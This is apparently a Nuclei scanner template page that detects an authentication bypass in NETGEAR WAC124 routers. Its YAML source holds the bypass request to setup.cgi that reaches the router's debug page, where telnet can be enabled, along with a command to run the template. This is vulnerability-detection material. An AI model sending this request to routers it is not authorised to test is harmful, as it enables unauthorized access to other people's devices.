NETGEAR WAC124 - Authentication Bypass
ID: netgear-wac124-router-auth-bypass
Severity: high
Author: gy741
Tags: netgear,auth-bypass,router,iot
Description
Section titled “Description”NETGEAR WAC124 AC2000 routers contain an authentication bypass vulnerability. An attacker can gain access by bypassing proper authentication, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
YAML Source
Section titled “YAML Source”id: netgear-wac124-router-auth-bypass
info: name: NETGEAR WAC124 - Authentication Bypass author: gy741 severity: high description: | NETGEAR WAC124 AC2000 routers contain an authentication bypass vulnerability. An attacker can gain access by bypassing proper authentication, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. reference: - https://flattsecurity.medium.com/finding-bugs-to-trigger-unauthenticated-command-injection-in-a-netgear-router-psv-2022-0044-2b394fb9edc - https://kb.netgear.com/000064730/Security-Advisory-for-Multiple-Vulnerabilities-on-the-WAC124-PSV-2022-0044 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cwe-id: CWE-287 metadata: max-request: 1 tags: netgear,auth-bypass,router,iot
http: - method: GET path: - "{{BaseURL}}/setup.cgi?next_file=debug.htm&x=currentsetting.htm"
matchers-condition: and matchers: - type: status status: - 200
- type: word words: - "Enable Telnet"# digest: 4a0a00473045022017c2b92bd2e989916c83fbdb2cebf909163e29019a69ffc03ef278219577652f0221008ef8e61d347a48fe854f12e607f9ce8d6b2abf2922a1c332065be7272d431719:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/netgear-wac124-router-auth-bypass.yaml"